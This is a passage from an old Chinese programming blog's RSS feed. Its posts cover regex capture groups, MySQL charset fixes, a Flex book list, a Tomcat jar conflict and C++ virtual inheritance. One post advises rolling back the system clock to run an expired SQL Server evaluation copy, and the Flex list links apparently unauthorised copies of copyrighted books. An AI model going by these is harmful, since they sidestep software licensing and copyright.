<tr>
<th>2&nbsp;&nbsp;&nbsp;&nbsp;</th>
<td><tt>\A</tt></td>
</tr>
<tr>
<th>3&nbsp;&nbsp;&nbsp;&nbsp;</th>
<td><tt>(B(C))</tt></td>
</tr>
<tr>
<th>4&nbsp;&nbsp;&nbsp;&nbsp;</th>
<td><tt>(C)</tt></td>
</tr>
</tbody>
</table>
</blockquote>
<p>组零始终代表整个表达式。 </p>
<p>之所以这样命名捕获组是因为在匹配中，保存了与这些组匹配的输入序列的每个子序列。捕获的子序列稍后可以通过 Back 引用在表达式中使用，也可以在匹配操作完成后从匹配器检索。 </p>
<p>与组关联的捕获输入始终是与组最近匹配的子序列。如果由于量化的缘故再次计算了组，则在第二次计算失败时将保留其以前捕获的值（如果有的话）例如，将字符串 <tt>"aba"</tt> 与表达式 <tt>(a(b)?)+</tt> 相匹配，会将第二组设置为 <tt>"b"</tt>。在每个匹配的开头，所有捕获的输入都会被丢弃。 </p>
<p>以 <tt>(?)</tt> 开头的组是纯的<em>非捕获</em> 组，它不捕获文本，也不针对组合计进行计数。 </p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/194642#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 19 May 2008 22:48:16 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/194642</link>
        <guid>http://zzg810314.javaeye.com/blog/194642</guid>
      </item>
          <item>
        <title>MYSQL无法写入中文的解决办法</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/187367" style="color:red;">http://zzg810314.javaeye.com/blog/187367</a>&nbsp;
          发表时间: 2008年04月27日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>最近在研究openmeetings，使用的是mysql5，但在切换简体中文的时候老出问题，后来发现库中不存在中文的配置文件，找到简体中文利用提供的语言导入功能，发现中文无法写入，导入英文的配置文件完全没有问题。</p>
<p>在网上查到的方法： </p>
<p>　　找到&ldquo;my.ini&rdquo;这个文件，就在MYSQL的安装目录下，如果找不到的话，用搜索也行！</p>
<p>　　用记事本打开，找到下面这一行文本</p>
<p>　　sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"</p>
<p>　　注意，可能不太一样，但前面肯定是　sql-mode　只有这么一行。</p>
<p>　　在它的前面加上一个&ldquo;#&rdquo;号，即</p>
<p>　　#sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"</p>
<p>　　保存文件，最后是重新启动一下MYSQL服务。</p>
<p>试完后中文还是无法保存，后来发现字段属性的字符集是latin1，改成utf8后就好了.</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/187367#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sun, 27 Apr 2008 22:03:00 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/187367</link>
        <guid>http://zzg810314.javaeye.com/blog/187367</guid>
      </item>
          <item>
        <title>(转)FLEX的相关资料</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/185521" style="color:red;">http://zzg810314.javaeye.com/blog/185521</a>&nbsp;
          发表时间: 2008年04月22日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p><span style="font-size: x-small;">目前Adobe Flex的中文版学习资料比较少，而且大多都很零散，不适合用来系统地学习。我在这里罗列一下在我的学习过程中读过的一些资料。当然是以Adobe的官方文档为主，这些文档内容非常详尽，应该作为学习的首选。 <br /><span style="line-height: 1.3em;">　　所有资源均提供下载，如链接失效，请在留言板留言，我尽量给予更新。 </span><br /><br /><span style="line-height: 1.3em;">-------------------&nbsp;&nbsp; 入门书籍&nbsp;&nbsp; ------------------- </span></span><br /><br /><a href="http://www.live-share.com/files/266276/Getting_Started_with_Flex_2____.pdf.html" target="_blank"><span style="font-size: x-small; color: #00ff00; line-height: 1.3em;">《Getting Started with Flex 2 中文版》</span></a><span style="font-size: x-small; line-height: 1.3em;">：网上流传的重庆大坪的刘刚的&ldquo;Flex中文帮助（4章）&rdquo;就是翻译的这本书，非常适合新手用来入门。 </span><br /><a href="http://www.live-share.com/files/266285/Using_Flex_Builder_2.pdf.html" target="_blank"><span style="font-size: x-small; color: #00ff00; line-height: 1.3em;">《Using Flex Builder 2》</span></a><span style="font-size: x-small; line-height: 1.3em;"> ：工欲善其事，必先利其器。先学习学习怎么用这个工具吧。 </span><br /><a href="http://www.live-share.com/files/266287/Adobe_Apollo_for_Flex_Pocket_Guide.pdf.html" target="_blank"><span style="font-size: x-small; color: #00ff00; line-height: 1.3em;">《Adobe Apollo for Flex Pocket Guide》</span></a><span style="font-size: x-small; line-height: 1.3em;"> ：简介Apollo的小册子 </span><br /><br /><span style="font-size: x-small; line-height: 1.3em;">-------------------&nbsp;&nbsp; 中级书籍&nbsp;&nbsp; ------------------- </span><br /><br /><a href="http://www.live-share.com/files/266293/ActionScript_3.0__.pdf.html" target="_blank"><span style="font-size: x-small; color: #00ff00; line-height: 1.3em;">《ActionScript 3.0编程》</span></a><span style="font-size: x-small; line-height: 1.3em;"> 、 <a href="http://www.live-share.com/files/266383/Programming_ActionScript_3.0.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Programming ActionScript 3.0》</span></a> ：两本书内容基本一样，如果英文不好的话，还是看前面那本中文版的吧。 </span><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266292/ActionScript_3.0________.chm.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《ActionScript 3.0 语言和组件参考》</span></a> 、 </span><a href="http://www.live-share.com/files/266299/Adobe_Flex_2_" target="_blank"><span style="font-size: x-small; color: #00ff00; line-height: 1.3em;">《Adobe Flex 2 Language Reference》</span></a><span style="font-size: x-small; line-height: 1.3em;"> ：两本书内容基本一样，如果英文不好的话，还是看前面那本中文版的吧。 </span><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266290/ActionScript_3.0_Cookbook.chm.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《ActionScript 3.0 Cookbook》</span></a> ：如果看完上面几本书觉得还不够的话，那就看看这本吧，O'Reilly出书，必属精品。 </span><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266386/__ActionScript_3.0__.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《使用ActionScript 3.0组件》</span></a> 、 <a href="http://www.live-share.com/files/266380/Creating_and_Extending_Flex_2_Components.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Creating and Extending Flex 2 Components.pdf》</span></a> ：都是谈组件的，可以互相参考。 </span><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266384/Programming_Flex_2.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Programming Flex 2》</span></a> ：同样是O'Reilly出的，里面有好多例子不错。 </span><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266379/Building_and_Deploying_Flex_2_Applications.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Building and Deploying Flex 2 Applications.pdf》</span></a> ：看到这里，如果上面的都看完了，那就开始Project吧。 </span><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266265/Flex_2_Compiler_API_User_Guide.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Flex 2 Compiler API User Guide》</span></a> ：一本介绍Flex编译API的小册子 </span><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266382/Migrating_Applications_to_Flex_2.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Migrating Applications to Flex 2》</span></a> 、 <a href="http://www.live-share.com/files/266385/Testing_Flex_Applications_with_Mercury_QuickTest_Professional.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Testing Flex Applications with Mercury QuickTest Professional》</span></a> ：程序的迁移及测试 </span><br /><br /><span style="font-size: x-small; line-height: 1.3em;">-------------------&nbsp;&nbsp; 高级书籍&nbsp;&nbsp; ------------------- </span><br /><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266394/Flex_2_Developer_s_Guide.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Flex 2 Developer's Guide》</span></a> ：Flex开发人员必看的一本书！一边开发一边学习，可以当作字典来用！</span> <br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266390/Advanced_ActionScript_3_with_Design_Patterns.chm.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Advanced ActionScript 3 with Design Patterns》</span></a> ：AS3的一些进阶技巧</span> <br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266387/ActionScript3_Tip_Of_the_Day.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《ActionScript3 Tip Of the Day》</span></a> ：100个Tips，全面提高你的AS3使用技巧 </span><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266388/Adobe_Flex_2_Training_from_the_Source.chm.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Adobe Flex 2 Training from the Source》</span></a> ：深入学习Flex的编码 </span><br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266392/Flash_Communication_Server.chm.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Flash Communication Server》</span></a> ：如何实现SWF间的通讯</span> <br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266393/FLASH__________.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《FLASH 视频编码器用户指南》</span></a> ：如果做图像采集项目，该书是一个理论总纲</span> <br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266395/Flex_Data_Services_2_-_Public_APIs.CHM.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Flex Data Services 2 - Public APIs》</span></a> ：相关包的语法集</span> <br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266396/Foundation_ActionScript_Animation_Making_Things_Move_.chm.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Foundation ActionScript Animation：Making Things Move！》</span></a> ：如何用AS处理动画</span> <br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266399/Rich_Internet_Applications_with_Adobe_Flex_Java.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《Rich Internet Applications with Adobe Flex &amp; Java》</span></a> ：如果到现在，你对RIA还没有一个清晰的认识的话，推荐看这本书<a href="http://www.live-share.com/files/266403/Rich_Internet_Applications_with_Adobe_Flex_Java_-_Code_and_Tools.rar.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">（附配套光盘）</span></a></span> <br /><span style="font-size: x-small; line-height: 1.3em;"><a href="http://www.live-share.com/files/266397/__Cairngorm_Flex______.pdf.html" target="_blank"><span style="color: #00ff00; line-height: 1.3em;">《基于Cairngorm的Flex应用程序设计》</span></a> ：实现Cairngorm架构，很有价值的一本小册子</span> <br /><br /><span style="font-size: x-small; line-height: 1.3em;">-------------------------------------------------------</span> <br /><br /><span style="font-size: x-small; line-height: 1.3em;">　　必读的书： <span style="color: #ff00ff; line-height: 1.3em;">《Getting Started with Flex 2 中文版》</span> -&gt;&nbsp;&nbsp;<span style="color: #ff00ff; line-height: 1.3em;">《</span><span style="color: #ff00ff; line-height: 1.3em;">ActionScript 3.0编程》</span> -&gt; <span style="color: #ff00ff; line-height: 1.3em;">《Flex 2 Developer's Guide》</span>，这基本上就是目前最快的学习路线了。前两本书读完大约需要两周时间，最后一本书可以在开发过程中一边做开发一边阅读。Flex入门仅需要两周时间，成为高手至少需要一年的时间。</span></p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/185521#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Tue, 22 Apr 2008 16:30:00 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/185521</link>
        <guid>http://zzg810314.javaeye.com/blog/185521</guid>
      </item>
          <item>
        <title>java.lang.VerifyError错误分析</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/180232" style="color:red;">http://zzg810314.javaeye.com/blog/180232</a>&nbsp;
          发表时间: 2008年04月07日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          今天在tomcat4下跑一个工程，结果到tomcat5下就不能运行了，报java.lang.VerifyError，查了一下javaAPI，是这样解析的<br />当“校验器”检测到一个类文件虽然格式正确，但包含着一些内部不一致性或安全性问题时，抛出该错误。<br /><br />实际上是jar地狱问题，相同包的不同版本混合在一起。事实上是tomcat5的Tomcat5.0\common\endorsed目录下xercesImpl.jar跟WEB-INF\lib目录下的xerces.jar冲突了
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/180232#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 07 Apr 2008 18:02:09 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/180232</link>
        <guid>http://zzg810314.javaeye.com/blog/180232</guid>
      </item>
          <item>
        <title>SQlSERVER启动不了</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/151110" style="color:red;">http://zzg810314.javaeye.com/blog/151110</a>&nbsp;
          发表时间: 2007年12月27日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          客户的服务器断电启动不了，刚开始以为是系统断电引起文件损坏，后来发现他们装的还是评估版的sqlserver2000，真是败了，这个问题简单点的解决办法就是把时间往前改，把sqlserver启动起来后，再把时间改回来，这样可以保持暂时能用，完整的方法还是装一个正版的sqlserver
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/151110#comments" style="color:red;">已有 <strong>1</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 27 Dec 2007 09:06:45 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/151110</link>
        <guid>http://zzg810314.javaeye.com/blog/151110</guid>
      </item>
          <item>
        <title>二义性问题</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/134076" style="color:red;">http://zzg810314.javaeye.com/blog/134076</a>&nbsp;
          发表时间: 2007年10月21日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>为了解决二义性问题通常都有三种不同的方法</p>
<p>1.域作用分辨作用符</p>
<p>2。名字支配原则</p>
<p>3.虚基类</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/134076#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sun, 21 Oct 2007 21:06:16 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/134076</link>
        <guid>http://zzg810314.javaeye.com/blog/134076</guid>
      </item>
          <item>
        <title>转- 虚继承与虚基类的本质</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/134075" style="color:red;">http://zzg810314.javaeye.com/blog/134075</a>&nbsp;
          发表时间: 2007年10月21日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          虚继承和虚基类的定义是非常的简单的，同时也是非常容易判断一个继承是否是虚继承<br />
的，虽然这两个概念的定义是非常的简单明确的，但是在C++语言中虚继承作为一个比较生<br />
僻的但是又是绝对必要的组成部份而存在着，并且其行为和模型均表现出和一般的继承体系<br />
之间的巨大的差异（包括访问性能上的差异），现在我们就来彻底的从语言、模型、性能和<br />
应用等多个方面对虚继承和虚基类进行研究。<br />
&nbsp;&nbsp;&nbsp; 首先还是先给出虚继承和虚基类的定义。<br />
&nbsp;&nbsp;&nbsp; 虚继承：在继承定义中包含了virtual关键字的继承关系；<br />
&nbsp;&nbsp;&nbsp; 虚基类：在虚继承体系中的通过virtual继承而来的基类，需要注意的是：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct CSubClass : public virtual CBase {}; 其中CBase称之为CSubClass<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 的虚基类，而不是说CBase就是个虚基类，因为CBase还可以不不是虚继承体系<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中的基类。<br />
&nbsp;&nbsp;&nbsp; 有了上面的定义后，就可以开始虚继承和虚基类的本质研究了，下面按照语法、语义、<br />
模型、性能和应用五个方面进行全面的描述。<br />
<br />
&nbsp;&nbsp;&nbsp; 1. 语法<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 语法有语言的本身的定义所决定，总体上来说非常的简单，如下：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct CSubClass : public virtual CBaseClass {};<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其中可以采用public、protected、private三种不同的继承关键字进行修饰，只要<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 确保包含virtual就可以了，这样一来就形成了虚继承体系，同时CBaseClass就成为<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 了CSubClass的虚基类了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实并没有那么的简单，如果出现虚继承体系的进一步继承会出现什么样的状况呢？<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如下所示：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * 带有数据成员的基类<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct CBaseClass1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CBaseClass1( size_t i ) : m_val( i ) {}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; size_t m_val;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; };<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * 虚拟继承体系<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct CSubClassV1 : public virtual CBaseClass1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CSubClassV1( size_t i ) : CBaseClass1( i ) {}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; };&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct CSubClassV2 : public virtual CBaseClass1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CSubClassV2( size_t i ) : CBaseClass1( i ) {}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; };&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct CDiamondClass1 : public CSubClassV1, public CSubClassV2<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CDiamondClass1( size_t i ) : CBaseClass1( i ), CSubClassV1( i ), CSubClassV2( i ) {}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; };&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct CDiamondSubClass1 : public CDiamondClass1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CDiamondSubClass1( size_t i ) : CBaseClass1( i ), CDiamondClass1( i ) {}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; };<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 注意上面代码中的CDiamondClass1和CDiamondSubClass1两个类的构造函数初始化列<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 表中的内容。可以发现其中均包含了虚基类CBaseClass1的初始化工作，如果没有这<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 个初始化语句就会导致编译时错误，为什么会这样呢？一般情况下不是只要在<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CSubClassV1和CSubClassV2中包含初始化就可以了么？要解释该问题必须要明白虚<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 继承的语义特征，所以参看下面语义部分的解释。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 2. 语义<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从语义上来讲什么是虚继承和虚基类呢？上面仅仅是从如何在C++语言中书写合法的<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 虚继承类定义而已。首先来了解一下virtual这个关键字在C++中的公共含义，在C++<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 语言中仅仅有两个地方可以使用virtual这个关键字，一个就是类成员虚函数和这里<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所讨论的虚继承。不要看这两种应用场合好像没什么关系，其实他们在背景语义上<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 具有virtual这个词所代表的共同的含义，所以才会在这两种场合使用相同的关键字。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 那么virtual这个词的含义是什么呢？<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; virtual在《美国传统词典[双解]》中是这样定义的：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; adj.（形容词）<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1. Existing or resulting in essence or effect though not in actual <br />
